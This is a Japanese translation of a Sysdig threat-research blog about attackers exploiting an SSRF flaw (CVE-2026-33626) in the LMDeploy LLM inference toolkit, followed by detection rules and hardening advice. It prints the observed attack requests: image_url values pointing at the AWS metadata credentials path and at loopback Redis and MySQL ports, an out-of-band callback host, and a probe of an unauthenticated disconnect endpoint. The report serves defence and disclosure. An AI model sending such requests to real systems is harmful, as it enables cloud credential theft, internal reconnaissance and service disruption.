Falco Feedsは、オープンソースに焦点を当てた企業に、新しい脅威が発見されると継続的に更新される専門家が作成したルールにアクセスできるようにすることで、Falcoの力を拡大します。
本文の内容は、2026年4月22日に Sysdig 脅威リサーチチームが投稿したブログ(https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours)を元に日本語に翻訳・再構成した内容となっております。
2026年4月21日、GitHub は GHSA-6w67-hwm5-92mq を公開し、その後、LMDeploy におけるサーバーサイドリクエストフォージェリ（SSRF）の脆弱性として CVE-2026-33626 が割り当てられました。LMDeploy は、Shanghai AI Laboratory の InternLM が開発した、視覚言語モデルおよびテキスト大規模言語モデル（LLM）を提供するためのツールキットです。
Sysdig Threat Research Team（TRT）は、このアドバイザリが GitHub のメインのアドバイザリページに公開されてから12時間31分以内に、当社のハニーポット群に対する最初の LMDeploy 悪用の試みを観測しました。攻撃者は単にバグを検証して終わったのではありません。代わりに、8分間の単一セッションの中で、視覚言語モデル用の画像読み込み機能を汎用的な HTTP SSRF プリミティブとして使い、モデルサーバーの背後にある内部ネットワークに対してポートスキャンを実行しました。対象には、AWS Instance Metadata Service（IMDS）、Redis、MySQL、二次的な HTTP 管理インターフェース、そしてアウトオブバンド（OOB）の DNS データ流出エンドポイントが含まれていました。
Sysdig TRT は、アドバイザリが公開された直後に、脆弱な LMDeploy インスタンスを実行するハニーポットを配備しました。その後に続いた悪意のある活動は、攻撃者が LMDeploy のような AI インフラツールに対する、限定的に記述された SSRF をどのように武器化するかを示しています。
悪用のタイムライン
インデックスされた GHSA の公開から最初の悪用までの間隔は、12時間31分でした。攻撃時点では、GitHub や主要なエクスプロイトリポジトリに公開された概念実証（PoC）コードは存在していませんでした。最近のいくつかのニッチな標的を狙った事例と同様に、このアドバイザリ本文自体に、影響を受けるファイル、パラメータ名、スキームやホストの検証が存在しないことなど、動作するエクスプロイトをゼロから構築するのに十分な詳細が含まれていました。
*注記：リポジトリレベルの GHSA を検索する簡単な方法はなく、特定のリポジトリを監視する必要があるため、Sysdig TRT は、アドバイザリ公開から悪用までの12時間のタイムラインに、リポジトリレベルの GHSA 公開を含めていません。代わりに、私たちの計測は、アドバイザリが GitHub のメインのアドバイザリページに公開された時点から始まります。
LMDeploy の脆弱性
LMDeploy は、本番環境向けの推論ツールキットであり、InternVL2、internlm-xcomposer2、Qwen2-VL などの視覚言語モデル（VLM）を、OpenAI 互換の HTTP API を通じて提供します。チャット補完リクエストに image_url フィールドが含まれている場合、サーバーはその URL を参照し、画像をモデルのコンテキストに読み込みます。
以下は、標準的な OpenAI のビジョンメッセージ形式です。
{
"model": "internlm-xcomposer2",
"messages": [{
"role": "user",
"content": [
{"type": "text", "text": "describe this"},
{"type": "image_url", "image_url": {"url": "http://..."}}
]
}]
}ご覧のとおり、このコードにはホスト名解決のチェック、プライベートネットワークのブロックリスト、リンクローカルアドレスに対する保護が欠けています。http:// または https:// スキームを持つあらゆる URL — たとえば http://169.254.169.254/、http://127.0.0.1:3306、または任意の RFC 1918 アドレスを含む — がサーバーによって取得され、モデルに返されていました。あるいは、Redis や MySQL のようなバイナリプロトコルの場合には、ポートが開いていることを確認するのに十分なエラーレスポンスが返されていました。
LMDeploy 悪用の3つの段階
8分間のセッションで、103.116.72.119は、2つのビジョン言語モデル、internlm-xcomposer2とOpenGVLab/InternVL2-8bを交互に使用して、3つのフェーズにわたって10件の異なるリクエストを作成しました。セッションの途中でモデルを切り替えたことから、オペレーターは、一部の VLM が疑わしい入力を拒否し、両方のモデルをテストしていることを認識していたことがわかります。
フェーズ1：クラウドメタデータとRedis（UTC 03:35:22～03:37:45）
攻撃者の最初のリクエストは、AWS IMDS を直接標的にしていました。
POST /v1/chat/completions
model: internlm-xcomposer2
image_url: http://169.254.169.254/latest/meta-data/iam/security-credentials/
2分後、攻撃者はループバックの Redis ポートへと標的を切り替えました。
image_url: http://127.0.0.1:6379
6379番ポートの選択には意味があります。これは Redis の標準ポートであり、SSRF チェーンにおいて IMDS の次によく狙われる標的として知られています。この SSRF プリミティブは任意のボディコンテンツをサポートしていませんが、6379番ポートへの接続に成功すれば、Redis が内部インターフェース上に存在することを確認できます。
フェーズ2：OOB コールバックと API 列挙（UTC 03:41:07～03:41:58）
3分後、攻撃者は、Burp Collaborator や Project Discovery の interact.sh に類似した公開 OAST（アウトオブバンド・アプリケーション・セキュリティ・テスティング）サービスである requestrepo.com へのアウトオブバンド（OOB）DNS コールバックを用いて、外向き通信をテストしました。
image_url: http[://]cw2mhnbd.requestrepo.com外向き通信に制限のない、脆弱な実環境の LMDeploy インスタンスであれば、攻撃者の requestrepo.com ダッシュボードは HTTP コールバックを受信し、SSRF が成立していること、さらにサーバーが任意の外部ホストに到達できることの両方を確認できます。これは、ブラインド SSRF を確認するための標準的な手順です。
OOB テストの直後、攻撃者は API の攻撃対象領域を列挙しました。
GET /
GET /openapi.json
POST /v1/chat/completions (model: OpenGVLab/InternVL2-8B, no image_url)
/openapi.json へのリクエストは、/v1/chat/completions 以外の追加エンドポイントを見つけるために、攻撃者がサーバーによって自動生成された OpenAPI スキーマを読み取る際によく見られるものです。LMDeploy は、そのサービングモード向けに /distserve/* 配下でいくつかの管理用エンドポイントを公開しており、それらはほぼ確実にここで発見されたものです。
フェーズ3：管理プレーンの探索と localhost ポートスイープ（UTC 03:42:35～03:43:53）
攻撃者はまず、分散サービスのキルスイッチを調べました。
POST /distserve/p2p_drop_connect
body: {}上記のエンドポイントは、分離された LMDeploy クラスター内の、指定されたリモートエンジンへの ZMQ リンクを切断します。影響を受けるコードでは self.zmq_disconnect(drop_conn_request.remote_engine_id) が呼び出され、{‘success’: True} が返されます。攻撃者が稼働中の remote_engine_id を知っている、または推測できる場合、そのピアに対する prefill/decode ルートを妨害し、そこを通過する推論を劣化させたり停止させたりすることができます。影響を受けるバージョンでは、これらのエンドポイントにはデフォルト構成で認証層がありませんでした。
その後、攻撃者は SSRF プリミティブに戻り、36秒間にわたってループバックインターフェースに対するポートスキャンを体系的に実行しました。
36秒間に3件の localhost への探索が行われていることは、SSRF を探索用プリミティブとして用いたスクリプト化されたポートスイープの特徴です。攻撃者はイメージファイルを探しているのではなく、外部ネットワークからは到達できないアドレスにアクセスできる汎用的な HTTP GET として、この vision-LLM エンドポイントを扱っています。これらの URL はすべて、v0.12.3 の _is_safe_url() チェックによってブロックされます。
防御側にとってこれが意味すること
CVE-2026-33626 は、過去6か月にわたり当社が AI インフラ分野で繰り返し観測してきたパターンに当てはまります。すなわち、推論サーバー、モデルゲートウェイ、エージェントオーケストレーションツールにおける重大な脆弱性は、その導入規模や普及度にかかわらず、アドバイザリ公開から数時間以内に武器化されています。たとえば LMDeploy は GitHub で 7,798 個のスターを獲得していますが、これは vLLM や Ollama のような主流プロジェクトと比べて1桁少なく、また CISA の Known Exploited Vulnerabilities（KEV）カタログにも掲載されていません。
今回観測されたタイムラインは、Zero Day Clock プロジェクトや、marimo の認証前 RCE に関する当社の過去の調査で報告された傾向をさらに裏付けるものです。攻撃者はもはや、大規模悪用ツールを待っていません。アドバイザリ本文を注意深く読めば、それだけでエクスプロイトを作成するのに十分なのです。
生成AI（GenAI）は、この崩壊を加速させています。影響を受けるファイル、パラメータ名、根本原因の説明、脆弱なサンプルコードまで含む GHSA-6w67-hwm5-92mq のように具体的なアドバイザリは、事実上、任意の商用 LLM に潜在的なエクスプロイトを生成させるための入力プロンプトになっています。当社は最近、このパターンを複数の直近のニッチな標的に対する悪用事例で観測し、報告してきました。すなわち、GHSA が公開され、数時間以内に動作するエクスプロイトが出現し、その時点では公開された PoC は存在していない、というものです。
脆弱な関数名を挙げ、欠落しているチェックを示し、あるいは影響を受けるコードパターンを引用しているアドバイザリは、強力なコード生成モデルが存在する時代においては、すぐに使えるエクスプロイトになります。CVE-2026-33626 の標的がそれ自体 LLM 提供フレームワークであるという皮肉は偶然にすぎず、同じ加速は CVE 全体の状況に当てはまります。
CVE-2026-33626 が典型的な SSRF と異なるのは、このプリミティブが AI サービングノード上で何を可能にするかという点です。
- IAM 認証情報とクラウドメタデータ。視覚言語LLMノードは通常、広範な IAM ロールを持つ GPU インスタンス上で稼働しています。S3 のモデルアーティファクト、学習データセット、そして多くの場合、クロスアカウントの assume-role も含まれます。IMDS の取得に一度でも成功すれば、クラウドアカウントが侵害される可能性があります。
クラスター内データストア。推論デプロイメントには通常、プロンプトキャッシュ用の Redis、メータリング用の MySQL または Postgres、そして内部 HTTP コントロールプレーンが含まれています。攻撃者による探索（127.0.0.1:6379、127.0.0.1:3306、127.0.0.1:8080）は、このトポロジーに直接対応しています。
モデルレベルのサービス妨害。distserve/p2p_drop_connect への探索は、攻撃者が LMDeploy の分離サービングアーキテクチャーを理解していたことを示しています。prefill エンジンと decode エンジンの間の ZMQ リンクを切断すると、その経路上の推論が妨害されます。
汎用的な HTTP プリミティブ。リモートコード実行（RCE）とは異なり、この SSRF は被害者ネットワーク内に存在する読み取り専用の HTTP クライアントであり、公開インターネットから到達可能です。より大規模な攻撃の前段階としての偵察においては、このアクセスは多くのコード実行の脆弱性よりも価値の高い足掛かりとなることが少なくありません。
多くの GPU ホスト環境で IP レベルの外向き通信制御が欠如していることと相まって、LMDeploy の脆弱性で見られたこの種のバグは、特に攻撃者にとって魅力的です。
セキュリティ侵害の指標
ソース IP
ソースIPは、オペレーターの実際の送信元ではなく、運用のために借りられたプロキシ、VPNエンドポイント、またはクラウドインスタンスである可能性があります。
Callback infrastructure
Target URLs fetched by the SSRF
ランタイム検知
この攻撃クラスに対するランタイム検知は、アプリケーション層とホスト層の2つのレイヤーにまたがっています。
アプリケーション層では、ユーザー提供コンテンツからURLを取得するあらゆる推論サーバーが、すべての外向きリクエストについて解決後のIPを記録し、リンクローカル（169.254.0.0/16）、ループバック（127.0.0.0/8、::1）、または RFC 1918 のプライベートレンジへのリクエスト、ならびにそれらのレンジ上のよく知られたサービスポート（6379 Redis、3306 MySQL、5432 Postgres、9200 Elasticsearch、2375/2376 Docker）へのリクエストに対してアラートを発するべきです。ホスト層では、ランタイム検知により、フレームワークに関係なく、悪用後の兆候（推論プロセスからクラウドメタデータエンドポイントへの外向き接続）を捉えることができます。
Sysdig Secure には、攻撃者が試みたURLそのものに対して検知を行う、すぐに利用可能な Falco ルールがいくつか含まれています。GPU ノードおよび推論ノードで Sysdig Secure を実行しているチームは、視覚言語およびエージェントのツール利用ワークロード向けに、これらの検知ルールを有効にする必要があります。
• Contact EC2 Instance Metadata Service From Container
• Contact EC2 Instance Metadata Service From Host
• Contact GCP Instance Metadata Service From Container
• Contact GCP Instance Metadata Service From Host
• Contact Azure Instance Metadata Service From Container
• Contact Azure Instance Metadata Service From Host
• Contact Task Metadata Endpoint
脆弱な実環境の LMDeploy インスタンスでは、攻撃者による IMDS エンドポイントへの最初のリクエストが、サーバー側の requests.get() が IMDS エンドポイントに到達した瞬間に、アプリケーション層のログ記録とは無関係に、Contact EC2 Instance Metadata Service From Container ルールをトリガーします。
GCP および Azure 向けのルールも、それらのクラウド上で稼働する被害環境に対して同様に発火します。また、Contact Task Metadata Endpoint は、IMDS が 169.254.169.254 ではなく 169.254.170.2 に存在する ECS/Fargate ワークロードを対象としています。
推奨事項
- 侵害を前提としてください。
- LMDeploy を v0.12.3 以降に更新してください。アップグレードが不可能な場合は、image_url の値を削除または書き換えるリバースプロキシを推論 API の前段に配置するか、視覚モデルのエンドポイントを完全に無効化してください。
- 推論ノードで IMDSv2 を強制してください。IMDSv1 を無効にするために httpTokens=required を設定してください。これは、この種のバグに対して最も投資対効果の高い単一の対策です。requests.get() の SSRF プリミティブでは、必要なセッショントークンを取得できません（先に PUT /latest/api/token を発行する手段がないためです）。さらに、コンテナがデフォルトのブリッジネットワーク経由で IMDS に到達するのを防ぐために、httpPutResponseHopLimit=1 と組み合わせてください。
- VPC/SG レベルで推論サーバーからの外向き通信を制限してください。推論ノードは、モデルアーティファクトの保存先（S3、GCS）とロギングエンドポイントにのみ到達できるようにするべきです。
- 公開到達可能な LMDeploy デプロイメントのうち、バージョン 0.12.2 以前にアタッチされている IAM ロール認証情報はすべてローテーションしてください。
- 推論ノード上の内部サービス公開を監査してください。Redis、MySQL、管理用コントロールプレーンは、モデルサーバーによって本当に必要な場合にのみプライベートインターフェースにバインドされるべきであり、いずれの場合も認証を必須にしなければなりません。
- 推論プロセスからリンクローカル、RFC 1918、またはループバックアドレスへの外向き接続を監視してください。通常運用では、これらはゼロであるべきです。
- AI インフラツールを棚卸ししてください。モデルサービングプラットフォーム（LMDeploy、vLLM、TGI、Ray Serve）は、標準的なセキュリティレビューの対象外で導入されることが多く、開示後かなり時間が経つまで CVE スキャンの対象にならないことも少なくありません。
まとめ
CVE-2026-33626 は、一貫したパターンに当てはまります。すなわち、推論基盤やエージェントフレームワークにおける SSRF の脆弱性が、公開された PoC を待つのではなく、GHSA をもとに攻撃を組み立てるオペレーターによって、GHSA 公開から数時間以内に武器化されるというパターンです。公開から LMDeploy の最初の悪用観測までの 12 時間 31 分という時間は十分に短く、「パッチチューズデー」型の運用サイクルや月次スキャンでは十分な対策にならないことを示しています。攻撃者は単にバグを検証しただけではなく、1 回の 8 分間のセッションの中で、それをポートスキャン用のプリミティブとして利用しました。
AI インフラを運用する防御側にとっては、視覚言語 LLM の画像ローダー、エージェントのツール利用エンドポイント、RAG のフェッチャーは、明示的な外向き通信フィルタリングが適用されていない限り、いずれもデフォルトで SSRF の候補となります。武器化までの時間が数時間単位で測られる場合、推論ホスト上でのランタイム検知、厳格な VPC 外向き通信制御、そして迅速なパッチ対応が、引き続き最も効果的な対策です。